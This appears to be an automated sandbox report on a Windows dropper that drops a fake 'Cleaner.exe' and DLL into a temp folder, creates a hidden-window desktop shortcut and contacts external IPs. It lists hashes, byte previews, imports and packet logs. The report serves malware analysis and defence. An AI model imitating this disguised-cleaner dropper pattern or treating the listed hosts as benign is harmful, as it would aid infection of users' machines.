Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\ping[1].htm

Process:	C:\Users\user\Desktop\file.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Bunifu_UI_v1.5.3.dll

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	242176
Entropy (8bit):	6.47050397947197
Encrypted:	false
SSDEEP:	6144:SIQpxILDXGGMO7Ice9C5kQw2hWHcHTykhb:SIQpxILDXGGlET9n/cHG
MD5:	2ECB51AB00C5F340380ECF849291DBCF
SHA1:	1A4DFFBCE2A4CE65495ED79EAB42A4DA3B660931
SHA-256:	F1B3E0F2750A9103E46A6A4A34F1CF9D17779725F98042CC2475EC66484801CF
SHA-512:	E241A48EAFCAF99187035F0870D24D74AE97FE84AAADD2591CCEEA9F64B8223D77CFB17A038A58EADD3B822C5201A6F7494F26EEA6F77D95F77F6C668D088E6B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Metadefender, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Jl.X...........!..................... ........... ....................... ............@.....................................W.................................................................................... ............... ..H............text...4.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........`..4e...........U..............................................}.Y.y.=.{.X.x.=..r...p.o2....o...(3.....o2...}....:..s.....(...........2r...p(;...&Vr...p.....r...p.......(....>.........}.......(C.....o...(D...(E...}.....(F...(E...(G...&>.........}.......(C.....o...(D...}.....(F...(E...(H...&".......>.........}....R..} .....{ ...oo.....{ ..."..}!.....{!......}.....{#....{....op....{....,...{ ...oo.....{!...oo.....{....B.....su...(v.....{#....{#...

C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3947920
Entropy (8bit):	7.275018147968825
Encrypted:	false
SSDEEP:	49152:+/PD/DL/D9CuZrr2h60qPPB+lJJkF9IC966eB+lJJkF9IC966eB+lJJkF9IC966h:+3D///UUrP43m8C/3m8C/3m8C5
MD5:	04514BD4962F7D60679434E0EBE49184
SHA1:	1493A5447EB8156A7D7AECFF60EE8BFBA2209526
SHA-256:	C394B068AA87264419F60838A8812B750E67CF93F2494C62B9078C3708072568
SHA-512:	A71C7ED5DFDDA22F095DC99B16E8342A42E3361BE16E0241DBF8983DD0D5F6E90EB0299AAC1815CF78AD3A9F15FA89B42B720B7F818EE5F502300F102EF4C93E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................"...0.................. ... ....@.. .......................`............`.................................T...O.... ..2............(<......@......8................................................ ............... ..H............text........ ...................... ..`.rsrc...2.... ......................@..@.reloc.......@......................@..B........................H.......h...@E......T........;............................................(......(.....~....-.r...p.....(....o....s.........~.....~...........j(....r=..p~....o....t....j(....rM..p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t.....~......(....Vs....(....t.........N.(.....(.....(........0..f.......(.........8M........o....9:....o.......o.......-a.{......<...%..o.....%.

C:\Users\user\Desktop\Cleaner.lnk

Process:	C:\Users\user\Desktop\file.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Icon number=0, Archive, ctime=Mon Oct 3 23:30:18 2022, mtime=Mon Oct 3 23:30:18 2022, atime=Mon Oct 3 23:30:18 2022, length=3947920, window=hide
Category:	dropped
Size (bytes):	2214
Entropy (8bit):	3.9313193863453852
Encrypted:	false
SSDEEP:	48:81utFiwiLRwztCGqObJilZGqOnqV1oB6:8mMFFSvbhK1o
MD5:	C33A2A09C2B58C5F99B46ACF927B39C9
SHA1:	E3416DF6B82B0D497B66FD70632C100EFD909DA2
SHA-256:	85E6634779D4685011A7D1B2988DCE28267C4C314D4D0F0D5F9CB431D36AD857
SHA-512:	B12A716DB41AF508A5A05DBAF27774571E9F8AC2D30F1316BD3F472B9B39A7972E106ED7EA6B469428EFE4DEEDBDCDD5AF459CD33429CA7B95473F1956CE071A
Malicious:	false
Preview:	L..................F.@.. ...sZ.z.......z.......z.....=<.....................@.:..DG..Yr?.D..U..k0.&...&...........-..F`......Dq\|........t...CFSF..1......NM...AppData...t.Y^...H.g.3..(.....gVA.G..k...@.......NM.DU.......Y.....................R..A.p.p.D.a.t.a...B.P.1......U....Local.<.......NM.DU.......Y.....................z..L.o.c.a.l.....N.1.....DU....Temp..:.......NM.DU.......Y.......................T.e.m.p.......1.....DU....6CLVSX~1..j......DU..DU...............................6.c.l.v.S.x.8.e.n.7.1.S.U.l.1.h.U.u.z.Q.6.n.5.6.l.W.M.0.....b.2..=<.DU.. .Cleaner.exe.H......DU..DU..............................(.C.l.e.a.n.e.r...e.x.e.......z...............-.......y..............U.....C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe....O.p.t.i.m.i.z.e. .y.o.u.r. .P.C.>.....\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.6.c.l.v.S.x.8.e.n.7.1.S.U.l.1.h.U.u.z.Q.6.n.5.6.l.W.M.0.\.C.l.e.a.n.e.r...e.x.e.K.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.462227283357498
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	238080
MD5:	526fde9e61b1b4835885973331fa1616
SHA1:	ebbb0c3586b8a0244585eacb44ca125ac933ad8e
SHA256:	093741e4079a8092ba9d94653cb4f11c15fbe1e9ef53690e91628c61f0cc9440
SHA512:	ceff6066cd30ead43c4afcdc1b227ae114d4174fb75ff68c1495cbc6ef7bcb158bf2535669bd9add353e72ed3b97df48a9ad4cf21941db9d702d6f786bbae318
SSDEEP:	6144:oKFyXCCNTdMc9uzUCEJ/z1qWYHR+qvkqs3PZ5E:NFoC+ZUzl+RWR+1qs/s
TLSH:	7B34F1123CD18932C93E74718C71CA5277BFB8816672D94A76FC1AAE5F626C06E30397
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........}...............N1......N'.................D....N ......N0......N5.....Rich............PE..L.....Mb...........................

File Icon


Icon Hash:	3370686068686869

Static PE Info

General

Entrypoint:	0x404be7
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x624D8102 [Wed Apr 6 12:01:06 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	c9c09dee9cb4e9617f155f42be2e2cc0

Entrypoint Preview

Instruction
call 00007F16B8E0F99Bh
jmp 00007F16B8E0C52Dh
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov ecx, dword ptr [esp+04h]
test ecx, 00000003h
je 00007F16B8E0C6D6h
mov al, byte ptr [ecx]
add ecx, 01h
test al, al
je 00007F16B8E0C700h
test ecx, 00000003h
jne 00007F16B8E0C6A1h
add eax, 00000000h
lea esp, dword ptr [esp+00000000h]
lea esp, dword ptr [esp+00000000h]
mov eax, dword ptr [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, FFFFFFFFh
xor eax, edx
add ecx, 04h
test eax, 81010100h
je 00007F16B8E0C69Ah
mov eax, dword ptr [ecx-04h]
test al, al
je 00007F16B8E0C6E4h
test ah, ah
je 00007F16B8E0C6D6h
test eax, 00FF0000h
je 00007F16B8E0C6C5h
test eax, FF000000h
je 00007F16B8E0C6B4h
jmp 00007F16B8E0C67Fh
lea eax, dword ptr [ecx-01h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-02h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-03h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-04h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
cmp ecx, dword ptr [00435A7Ch]
jne 00007F16B8E0C6B4h
rep ret
jmp 00007F16B8E0F983h
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp

Rich Headers

Programming Language:

[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[C++] VS2008 build 21022
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xe0ec	0x50	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x191000	0x4bf8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1210	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x2c78	0x18	.text
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2c30	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x1d8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xdbe4	0xdc00	False	0.4849609375	data	5.899490920975358	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0xf000	0x181d1c	0x27600	False	0.9495845734126984	data	7.865940586372942	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x191000	0x4bf8	0x4c00	False	0.5913342927631579	data	5.603732133139699	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x1912b0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors
RT_ICON	0x191b58	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216
RT_ICON	0x194100	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096
RT_STRING	0x1953a8	0x42	data
RT_STRING	0x1953f0	0x280	data
RT_STRING	0x195670	0x3ce	data
RT_STRING	0x195a40	0x1b2	data
RT_ACCELERATOR	0x1951d8	0x80	data
RT_GROUP_ICON	0x1951a8	0x30	data
RT_VERSION	0x195268	0x140	MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79
None	0x195258	0xa	data

Imports

DLL	Import
KERNEL32.dll	LoadLibraryA, InterlockedPushEntrySList, GetConsoleAliasesA, ReadFile, ReadConsoleW, GetVolumeInformationA, GetComputerNameA, LocalFree, InterlockedDecrement, SetSystemTimeAdjustment, SetLocaleInfoA, FindNextVolumeA, FindNextChangeNotification, CopyFileExA, MoveFileWithProgressW, VerifyVersionInfoW, LocalSize, FileTimeToDosDateTime, DebugBreak, GlobalGetAtomNameA, IsBadWritePtr, FindResourceA, GetComputerNameExA, GetProcAddress, GetStringTypeW, GetFileTime, GetConsoleAliasesLengthW, GetVolumeNameForVolumeMountPointA, DeleteVolumeMountPointA, GetCPInfo, GetQueuedCompletionStatus, MoveFileWithProgressA, CopyFileA, lstrcpynW, WriteConsoleW, GetBinaryTypeW, WriteConsoleOutputA, GetCommandLineA, InterlockedIncrement, CreateActCtxW, FormatMessageA, GetModuleHandleW, GetModuleHandleA, EnterCriticalSection, GetStringTypeExA, OpenMutexW, FindResourceW, RtlCaptureContext, InterlockedExchange, InitializeCriticalSectionAndSpinCount, DeleteFiber, InterlockedExchangeAdd, EnumDateFormatsA, GetPrivateProfileStructA, GetNamedPipeHandleStateW, RegisterWaitForSingleObject, LocalAlloc, QueryMemoryResourceNotification, SetLastError, GetProcessPriorityBoost, GetMailslotInfo, HeapWalk, SetFilePointer, SetConsoleMode, RaiseException, RtlUnwind, GetLastError, MoveFileA, DeleteFileA, GetStartupInfoA, HeapAlloc, HeapFree, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, GetCurrentThreadId, Sleep, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameA, FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, WideCharToMultiByte, GetEnvironmentStringsW, SetHandleCount, GetFileType, DeleteCriticalSection, HeapCreate, VirtualFree, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, LeaveCriticalSection, VirtualAlloc, HeapReAlloc, HeapSize, GetACP, GetOEMCP, IsValidCodePage, GetLocaleInfoA, GetStringTypeA, MultiByteToWideChar, LCMapStringA, LCMapStringW
USER32.dll	CharUpperBuffW
WINHTTP.dll	WinHttpCreateUrl

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 3, 2022 17:29:56.533652067 CEST	49693	80	192.168.2.5	208.67.104.97
Oct 3, 2022 17:29:56.561080933 CEST	80	49693	208.67.104.97	192.168.2.5
Oct 3, 2022 17:29:56.561252117 CEST	49693	80	192.168.2.5	208.67.104.97
Oct 3, 2022 17:29:56.561955929 CEST	49693	80	192.168.2.5	208.67.104.97
Oct 3, 2022 17:29:56.589442968 CEST	80	49693	208.67.104.97	192.168.2.5
Oct 3, 2022 17:29:58.568043947 CEST	80	49693	208.67.104.97	192.168.2.5
Oct 3, 2022 17:29:58.568248987 CEST	49693	80	192.168.2.5	208.67.104.97
Oct 3, 2022 17:29:59.656677961 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.684041977 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.684155941 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.693042994 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.720258951 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.721107960 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.721162081 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.721191883 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.721223116 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.721255064 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.721254110 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.721254110 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.721286058 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.721317053 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.721318007 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.721317053 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.721352100 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.721360922 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.721385956 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.721390009 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.721417904 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.721421957 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.721456051 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.748449087 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.748493910 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.748516083 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.748538017 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.748544931 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.748559952 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.748583078 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.748598099 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.748605967 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.748626947 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.748630047 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.748652935 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.748655081 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.748678923 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.748697042 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.748703003 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.748725891 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.748733044 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.748749018 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.748770952 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.748778105 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.748795033 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.748815060 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.748816013 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.748837948 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.748838902 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.748862028 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.748872042 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.748883963 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.748894930 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.748908043 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.748922110 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.748960018 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.776179075 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.776266098 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.776303053 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.776340961 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.776341915 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.776377916 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.776407957 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.776415110 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.776427031 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.776452065 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.776454926 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.776489019 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.776490927 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.776526928 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.776535034 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.776566982 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.776566982 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.776606083 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.776606083 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.776648045 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.776648045 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.776684046 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.776684999 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.776724100 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.776726007 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.776761055 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.776762009 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.776798964 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.776801109 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.776838064 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.776838064 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.776876926 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.776879072 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.776918888 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.776926994 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.776963949 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.776963949 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.777000904 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.777004957 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.777043104 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.777046919 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.777081013 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.777081013 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.777118921 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.777120113 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.777158976 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.777159929 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.777199984 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.777200937 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.777239084 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.777240038 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.777277946 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.777287960 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.777314901 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.777326107 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.777353048 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.777363062 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.777390957 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.777401924 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.777426958 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.777427912 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.777462959 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.777465105 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.777506113 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.777506113 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.777540922 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.777542114 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.777589083 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.777610064 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.777622938 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.777648926 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.777678967 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.777704000 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.777707100 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.777750969 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.804920912 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.804981947 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.805000067 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.805012941 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.805037975 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.805052042 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.805064917 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.805083036 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.805100918 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.805126905 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.805145025 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.805157900 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.805171013 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.805170059 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.805197954 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.805217028 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.805236101 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.805244923 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.805260897 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.805268049 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.805296898 CEST	80	49694	85.31.46.167	192.168.2.5
